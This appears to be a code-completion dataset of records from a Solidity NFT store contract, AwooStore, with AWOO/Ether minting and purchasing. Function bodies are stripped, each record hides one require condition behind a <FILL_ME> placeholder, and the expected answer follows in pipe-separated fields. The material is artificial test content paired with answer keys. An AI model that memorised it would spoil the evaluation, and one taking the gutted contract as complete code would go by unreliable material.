constructor(address payable withdrawAddr, IAwooToken awooTokenContract, IAwooClaimingV2 claimingContract){
}
/// @notice Allows the specified item to be minted with AWOO
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with Ether
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
function mintWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with both AWOO and Ether, if the item supports that
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with Ether
/// @param itemId The id of the item to purchase
/// @param qty The numbers of items to purchase
function purchaseWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, if the item allows it
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public whenStoreActive {
}
/// @notice Allows the specified item to be purchased with Ether and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEth(uint16 itemId, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, and the tokens the items should be applied to
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEthAndAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
// TODO: Add the free mint/purchase functionality (V2)
/// @notice Applies the specified item to the list of "upgradeable" tokens
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyOwnedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
/// @notice Allows the holder of a non-mintable item to "use" it for something (TBA) cool
/// @param itemId The id of the item to use
/// @param qty The number of items to use
function useOwnedItem(uint16 itemId, uint256 qty) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Applies the specified item to the list of "upgradeable" tokens, and burns the item if applicable
/// @dev Tokens can only be burned if the holder has explicitly allowed us to do so
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyMintedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
function applyItem(uint16 itemId, uint32[] calldata applicationTokenIds) private {
}
function applyItem(ItemDetail memory item, uint16 itemId, uint32 applicationTokenId) private {
}
function claimAwoo(ClaimDetails[] calldata requestedClaims) private {
}
/// @notice Allows authorized individuals to add supported ERC721Enumerable collections
function addCollection(address collectionAddress) external onlyOwnerOrAdmin returns(uint8 collectionId){
}
/// @notice Allows authorized individuals to remove supported ERC721Enumerable collections
function removeCollection(uint8 collectionId) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to add new items
function addItem(ItemDetail memory item) external onlyOwnerOrAdmin returns(uint16) {
}
/// @notice Allows authorized individuals to update an existing item
function updateItem(uint16 itemId, ItemDetail memory newItem) external onlyOwnerOrAdmin {
}
function validateRequestedQuantity(uint16 itemId, ItemDetail memory item, uint256 requestedQty) private view {
require(isWithinTransactionLimit(item, requestedQty), "Exceeds transaction limit");
require(<FILL_ME>)
}
function ensureAvailablity(ItemDetail memory item, uint16 itemId, uint256 requestedQty) private view {
}
function availableQty(uint16 itemId) public view returns(uint256){
}
function availableQty(ItemDetail memory item, uint16 itemId) private view returns(uint256) {
}
/// @notice Determines if the requested quantity is within the per-transaction limit defined by this item
function isWithinTransactionLimit(ItemDetail memory item, uint256 requestedQty) public pure returns(bool) {
}
/// @notice Determines if the requested quantity is within the per-address limit defined by this item
function isWithinAddressLimit(uint16 itemId, ItemDetail memory item, uint256 requestedQty, address recipient) public view returns(bool) {
}
/// @notice Returns an array of tokenIds and application counts to indicate how many of the specified items
/// were applied to the specified tokenIds
function checkItemTokenApplicationStatus(uint8 collectionId, uint16 itemId, uint256[] calldata tokenIds
) external view returns(uint256[] memory, uint256[] memory){
}
function validateEtherValue(ItemDetail memory item, uint256 qty) private {
}
function validateItem(uint16 itemId) private view returns(ItemDetail memory item){
}
function validateItem(ItemDetail memory item) private view {
}
/// @notice Allows authorized individuals to swap out claiming contract
function setAwooClaimingContract(IAwooClaimingV2 awooClaiming) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-1155 collection contract, if absolutely necessary
function setAwooCollection(IAwooMintableCollection awooCollectionContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-20 AWOO contract, if absolutely necessary
function setAwooTokenContract(IAwooToken awooTokenContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate this contract
function setActive(bool active) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate specific items
function setItemActive(uint16 itemId, bool isActive) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to specify which address Ether and other arbitrary ERC-20 tokens
/// should be sent to during withdraw
function setWithdrawAddress(address payable addr) external onlyOwnerOrAdmin {
}
function withdraw(uint256 amount) external onlyOwnerOrAdmin {
}
/// @dev Any random ERC-20 tokens sent to this contract will be locked forever, unless we rescue them
function rescueArbitraryERC20(IERC20 token) external {
}
modifier nonZeroQuantity(uint256 qty) {
}
modifier whenStoreActive() {
}
}
| isWithinAddressLimit(itemId,item,requestedQty,_msgSender()),"Exceeds address limit" | 207,382 | isWithinAddressLimit(itemId,item,requestedQty,_msgSender()) |
"Inactive item" | pragma solidity 0.8.12;
contract AwooStore is OwnerAdminGuard {
struct AwooSpendApproval {
bytes32 Hash;
bytes Sig;
string Nonce;
}
enum PaymentType {
AWOO,
ETHER,
AWOO_AND_ETHER,
FREE
}
struct UpgradeDetail {
uint8 ApplicableCollectionId;
uint256 UpgradeBaseAccrualRate;
bool UpgradeItem;
bool Stackable;
}
struct ItemDetail {
IAwooMintableCollection.TokenDetail TokenDetails;
UpgradeDetail UpgradeDetails;
string MetadataUri;
uint256 TokenId;
PaymentType PmtType;
uint256 EtherPrice;
uint256 AWOOPrice;
uint256 TotalAvailable;
bool Burnable;
bool NonMintable;
bool Active;
uint256 PerAddressLimit;
uint256 PerTransactionLimit;
}
address payable public withdrawAddress;
IAwooToken public awooContract;
IAwooClaimingV2 public awooClaimingContract;
IAwooMintableCollection public awooMintableCollectionContract;
bool public storeActive;
/// @dev Helps us track the supported ERC721Enumerable contracts so we can refer to them by their "id" to save a bit of gas
uint8 public collectionCount;
/// @dev Helps us track the available items so we can refer to them by their "id" to save a bit of gas
uint16 public itemCount;
/// @notice Maps the supported ERC721Enumerable contracts to their Ids
mapping(uint8 => address) public collectionIdAddressMap;
/// @notice Maps the available items to their Ids
mapping(uint16 => ItemDetail) public itemIdDetailMap;
/// @notice Maps the number of purchased items when those items cannot be minted
mapping(uint16 => uint256) public nonMintedItemPurchaseCounts;
/// @notice Maps item ownership counts
// owner => (itemId, count). This is only relevant for items that weren't minted
mapping(address => mapping(uint16 => uint256)) public ownedItemCountsByOwner;
/// @notice Keeps track of how many of each token has been minted by a particular address
// owner => (itemId, count)
mapping(address => mapping(uint16 => uint256)) public mintedItemCountsByAddress;
/// @notice Keeps track of "upgrade" item applications
mapping(uint16 => mapping(uint8 => uint256[])) public itemApplications;
/// @notice Keeps track of "upgrade" items by the collection that they were applied to
// collectionId => (tokenId, (itemId => count))
mapping(uint8 => mapping(uint32 => mapping(uint16 => uint256))) public tokenAppliedItemCountsByCollection;
/// @notice A method that tells us that an "upgrade" item was applied so we can do some cool stuff
event UpgradeItemApplied(uint16 itemId, address applicationCollectionAddress, uint256 appliedToTokenId);
// ;)
event NonMintedItemUsed(uint16 itemId, address usedBy, uint256 qty);
constructor(address payable withdrawAddr, IAwooToken awooTokenContract, IAwooClaimingV2 claimingContract){
}
/// @notice Allows the specified item to be minted with AWOO
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with Ether
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
function mintWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with both AWOO and Ether, if the item supports that
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with Ether
/// @param itemId The id of the item to purchase
/// @param qty The numbers of items to purchase
function purchaseWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, if the item allows it
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public whenStoreActive {
}
/// @notice Allows the specified item to be purchased with Ether and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEth(uint16 itemId, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, and the tokens the items should be applied to
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEthAndAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
// TODO: Add the free mint/purchase functionality (V2)
/// @notice Applies the specified item to the list of "upgradeable" tokens
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyOwnedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
/// @notice Allows the holder of a non-mintable item to "use" it for something (TBA) cool
/// @param itemId The id of the item to use
/// @param qty The number of items to use
function useOwnedItem(uint16 itemId, uint256 qty) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Applies the specified item to the list of "upgradeable" tokens, and burns the item if applicable
/// @dev Tokens can only be burned if the holder has explicitly allowed us to do so
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyMintedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
function applyItem(uint16 itemId, uint32[] calldata applicationTokenIds) private {
}
function applyItem(ItemDetail memory item, uint16 itemId, uint32 applicationTokenId) private {
}
function claimAwoo(ClaimDetails[] calldata requestedClaims) private {
}
/// @notice Allows authorized individuals to add supported ERC721Enumerable collections
function addCollection(address collectionAddress) external onlyOwnerOrAdmin returns(uint8 collectionId){
}
/// @notice Allows authorized individuals to remove supported ERC721Enumerable collections
function removeCollection(uint8 collectionId) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to add new items
function addItem(ItemDetail memory item) external onlyOwnerOrAdmin returns(uint16) {
}
/// @notice Allows authorized individuals to update an existing item
function updateItem(uint16 itemId, ItemDetail memory newItem) external onlyOwnerOrAdmin {
}
function validateRequestedQuantity(uint16 itemId, ItemDetail memory item, uint256 requestedQty) private view {
}
function ensureAvailablity(ItemDetail memory item, uint16 itemId, uint256 requestedQty) private view {
}
function availableQty(uint16 itemId) public view returns(uint256){
}
function availableQty(ItemDetail memory item, uint16 itemId) private view returns(uint256) {
}
/// @notice Determines if the requested quantity is within the per-transaction limit defined by this item
function isWithinTransactionLimit(ItemDetail memory item, uint256 requestedQty) public pure returns(bool) {
}
/// @notice Determines if the requested quantity is within the per-address limit defined by this item
function isWithinAddressLimit(uint16 itemId, ItemDetail memory item, uint256 requestedQty, address recipient) public view returns(bool) {
}
/// @notice Returns an array of tokenIds and application counts to indicate how many of the specified items
/// were applied to the specified tokenIds
function checkItemTokenApplicationStatus(uint8 collectionId, uint16 itemId, uint256[] calldata tokenIds
) external view returns(uint256[] memory, uint256[] memory){
}
function validateEtherValue(ItemDetail memory item, uint256 qty) private {
}
function validateItem(uint16 itemId) private view returns(ItemDetail memory item){
require(itemId <= itemCount, "Invalid itemId");
item = itemIdDetailMap[itemId];
require(<FILL_ME>)
}
function validateItem(ItemDetail memory item) private view {
}
/// @notice Allows authorized individuals to swap out claiming contract
function setAwooClaimingContract(IAwooClaimingV2 awooClaiming) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-1155 collection contract, if absolutely necessary
function setAwooCollection(IAwooMintableCollection awooCollectionContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-20 AWOO contract, if absolutely necessary
function setAwooTokenContract(IAwooToken awooTokenContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate this contract
function setActive(bool active) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate specific items
function setItemActive(uint16 itemId, bool isActive) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to specify which address Ether and other arbitrary ERC-20 tokens
/// should be sent to during withdraw
function setWithdrawAddress(address payable addr) external onlyOwnerOrAdmin {
}
function withdraw(uint256 amount) external onlyOwnerOrAdmin {
}
/// @dev Any random ERC-20 tokens sent to this contract will be locked forever, unless we rescue them
function rescueArbitraryERC20(IERC20 token) external {
}
modifier nonZeroQuantity(uint256 qty) {
}
modifier whenStoreActive() {
}
}
| item.Active,"Inactive item" | 207,382 | item.Active |
"Stackable items cannot have per-address limit of 1" | pragma solidity 0.8.12;
contract AwooStore is OwnerAdminGuard {
struct AwooSpendApproval {
bytes32 Hash;
bytes Sig;
string Nonce;
}
enum PaymentType {
AWOO,
ETHER,
AWOO_AND_ETHER,
FREE
}
struct UpgradeDetail {
uint8 ApplicableCollectionId;
uint256 UpgradeBaseAccrualRate;
bool UpgradeItem;
bool Stackable;
}
struct ItemDetail {
IAwooMintableCollection.TokenDetail TokenDetails;
UpgradeDetail UpgradeDetails;
string MetadataUri;
uint256 TokenId;
PaymentType PmtType;
uint256 EtherPrice;
uint256 AWOOPrice;
uint256 TotalAvailable;
bool Burnable;
bool NonMintable;
bool Active;
uint256 PerAddressLimit;
uint256 PerTransactionLimit;
}
address payable public withdrawAddress;
IAwooToken public awooContract;
IAwooClaimingV2 public awooClaimingContract;
IAwooMintableCollection public awooMintableCollectionContract;
bool public storeActive;
/// @dev Helps us track the supported ERC721Enumerable contracts so we can refer to them by their "id" to save a bit of gas
uint8 public collectionCount;
/// @dev Helps us track the available items so we can refer to them by their "id" to save a bit of gas
uint16 public itemCount;
/// @notice Maps the supported ERC721Enumerable contracts to their Ids
mapping(uint8 => address) public collectionIdAddressMap;
/// @notice Maps the available items to their Ids
mapping(uint16 => ItemDetail) public itemIdDetailMap;
/// @notice Maps the number of purchased items when those items cannot be minted
mapping(uint16 => uint256) public nonMintedItemPurchaseCounts;
/// @notice Maps item ownership counts
// owner => (itemId, count). This is only relevant for items that weren't minted
mapping(address => mapping(uint16 => uint256)) public ownedItemCountsByOwner;
/// @notice Keeps track of how many of each token has been minted by a particular address
// owner => (itemId, count)
mapping(address => mapping(uint16 => uint256)) public mintedItemCountsByAddress;
/// @notice Keeps track of "upgrade" item applications
mapping(uint16 => mapping(uint8 => uint256[])) public itemApplications;
/// @notice Keeps track of "upgrade" items by the collection that they were applied to
// collectionId => (tokenId, (itemId => count))
mapping(uint8 => mapping(uint32 => mapping(uint16 => uint256))) public tokenAppliedItemCountsByCollection;
/// @notice A method that tells us that an "upgrade" item was applied so we can do some cool stuff
event UpgradeItemApplied(uint16 itemId, address applicationCollectionAddress, uint256 appliedToTokenId);
// ;)
event NonMintedItemUsed(uint16 itemId, address usedBy, uint256 qty);
constructor(address payable withdrawAddr, IAwooToken awooTokenContract, IAwooClaimingV2 claimingContract){
}
/// @notice Allows the specified item to be minted with AWOO
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with Ether
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
function mintWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with both AWOO and Ether, if the item supports that
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with Ether
/// @param itemId The id of the item to purchase
/// @param qty The numbers of items to purchase
function purchaseWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, if the item allows it
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public whenStoreActive {
}
/// @notice Allows the specified item to be purchased with Ether and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEth(uint16 itemId, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, and the tokens the items should be applied to
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEthAndAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
// TODO: Add the free mint/purchase functionality (V2)
/// @notice Applies the specified item to the list of "upgradeable" tokens
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyOwnedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
/// @notice Allows the holder of a non-mintable item to "use" it for something (TBA) cool
/// @param itemId The id of the item to use
/// @param qty The number of items to use
function useOwnedItem(uint16 itemId, uint256 qty) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Applies the specified item to the list of "upgradeable" tokens, and burns the item if applicable
/// @dev Tokens can only be burned if the holder has explicitly allowed us to do so
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyMintedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
function applyItem(uint16 itemId, uint32[] calldata applicationTokenIds) private {
}
function applyItem(ItemDetail memory item, uint16 itemId, uint32 applicationTokenId) private {
}
function claimAwoo(ClaimDetails[] calldata requestedClaims) private {
}
/// @notice Allows authorized individuals to add supported ERC721Enumerable collections
function addCollection(address collectionAddress) external onlyOwnerOrAdmin returns(uint8 collectionId){
}
/// @notice Allows authorized individuals to remove supported ERC721Enumerable collections
function removeCollection(uint8 collectionId) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to add new items
function addItem(ItemDetail memory item) external onlyOwnerOrAdmin returns(uint16) {
}
/// @notice Allows authorized individuals to update an existing item
function updateItem(uint16 itemId, ItemDetail memory newItem) external onlyOwnerOrAdmin {
}
function validateRequestedQuantity(uint16 itemId, ItemDetail memory item, uint256 requestedQty) private view {
}
function ensureAvailablity(ItemDetail memory item, uint16 itemId, uint256 requestedQty) private view {
}
function availableQty(uint16 itemId) public view returns(uint256){
}
function availableQty(ItemDetail memory item, uint16 itemId) private view returns(uint256) {
}
/// @notice Determines if the requested quantity is within the per-transaction limit defined by this item
function isWithinTransactionLimit(ItemDetail memory item, uint256 requestedQty) public pure returns(bool) {
}
/// @notice Determines if the requested quantity is within the per-address limit defined by this item
function isWithinAddressLimit(uint16 itemId, ItemDetail memory item, uint256 requestedQty, address recipient) public view returns(bool) {
}
/// @notice Returns an array of tokenIds and application counts to indicate how many of the specified items
/// were applied to the specified tokenIds
function checkItemTokenApplicationStatus(uint8 collectionId, uint16 itemId, uint256[] calldata tokenIds
) external view returns(uint256[] memory, uint256[] memory){
}
function validateEtherValue(ItemDetail memory item, uint256 qty) private {
}
function validateItem(uint16 itemId) private view returns(ItemDetail memory item){
}
function validateItem(ItemDetail memory item) private view {
require(item.TotalAvailable > 0, "Total available cannot be zero");
require(<FILL_ME>)
if(item.NonMintable) {
require(bytes(item.MetadataUri).length > 0, "Non-mintable items require a metadata uri");
}
if(item.UpgradeDetails.UpgradeItem){
require(item.UpgradeDetails.ApplicableCollectionId <= collectionCount, "Invalid applicableCollectionId");
}
else {
require(item.UpgradeDetails.ApplicableCollectionId == 0, "Non-upgrade items cannot have an applicable collection");
}
if(item.PmtType == PaymentType.ETHER){
require(item.EtherPrice > 0, "Ether items must have an Ether price");
require(item.AWOOPrice == 0, "Ether-only items cannot have an AWOO price");
}
else if(item.PmtType == PaymentType.AWOO){
require(item.EtherPrice == 0, "AWOO-only items cannot have an Ether price");
require(item.AWOOPrice == ((item.AWOOPrice/1e18)*1e18), "Fractional AWOO ether units are not supported");
}
else if (item.PmtType == PaymentType.AWOO_AND_ETHER) {
require(item.EtherPrice > 0, "AWOO and Ether items must have an Ether price");
require(item.AWOOPrice == ((item.AWOOPrice/1e18)*1e18), "Fractional AWOO ether units are not supported");
}
// free
else {
revert("Not implemented, yet");
}
}
/// @notice Allows authorized individuals to swap out claiming contract
function setAwooClaimingContract(IAwooClaimingV2 awooClaiming) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-1155 collection contract, if absolutely necessary
function setAwooCollection(IAwooMintableCollection awooCollectionContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-20 AWOO contract, if absolutely necessary
function setAwooTokenContract(IAwooToken awooTokenContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate this contract
function setActive(bool active) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate specific items
function setItemActive(uint16 itemId, bool isActive) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to specify which address Ether and other arbitrary ERC-20 tokens
/// should be sent to during withdraw
function setWithdrawAddress(address payable addr) external onlyOwnerOrAdmin {
}
function withdraw(uint256 amount) external onlyOwnerOrAdmin {
}
/// @dev Any random ERC-20 tokens sent to this contract will be locked forever, unless we rescue them
function rescueArbitraryERC20(IERC20 token) external {
}
modifier nonZeroQuantity(uint256 qty) {
}
modifier whenStoreActive() {
}
}
| !(item.UpgradeDetails.Stackable&&item.PerAddressLimit==1),"Stackable items cannot have per-address limit of 1" | 207,382 | !(item.UpgradeDetails.Stackable&&item.PerAddressLimit==1) |
"Non-mintable items require a metadata uri" | pragma solidity 0.8.12;
contract AwooStore is OwnerAdminGuard {
struct AwooSpendApproval {
bytes32 Hash;
bytes Sig;
string Nonce;
}
enum PaymentType {
AWOO,
ETHER,
AWOO_AND_ETHER,
FREE
}
struct UpgradeDetail {
uint8 ApplicableCollectionId;
uint256 UpgradeBaseAccrualRate;
bool UpgradeItem;
bool Stackable;
}
struct ItemDetail {
IAwooMintableCollection.TokenDetail TokenDetails;
UpgradeDetail UpgradeDetails;
string MetadataUri;
uint256 TokenId;
PaymentType PmtType;
uint256 EtherPrice;
uint256 AWOOPrice;
uint256 TotalAvailable;
bool Burnable;
bool NonMintable;
bool Active;
uint256 PerAddressLimit;
uint256 PerTransactionLimit;
}
address payable public withdrawAddress;
IAwooToken public awooContract;
IAwooClaimingV2 public awooClaimingContract;
IAwooMintableCollection public awooMintableCollectionContract;
bool public storeActive;
/// @dev Helps us track the supported ERC721Enumerable contracts so we can refer to them by their "id" to save a bit of gas
uint8 public collectionCount;
/// @dev Helps us track the available items so we can refer to them by their "id" to save a bit of gas
uint16 public itemCount;
/// @notice Maps the supported ERC721Enumerable contracts to their Ids
mapping(uint8 => address) public collectionIdAddressMap;
/// @notice Maps the available items to their Ids
mapping(uint16 => ItemDetail) public itemIdDetailMap;
/// @notice Maps the number of purchased items when those items cannot be minted
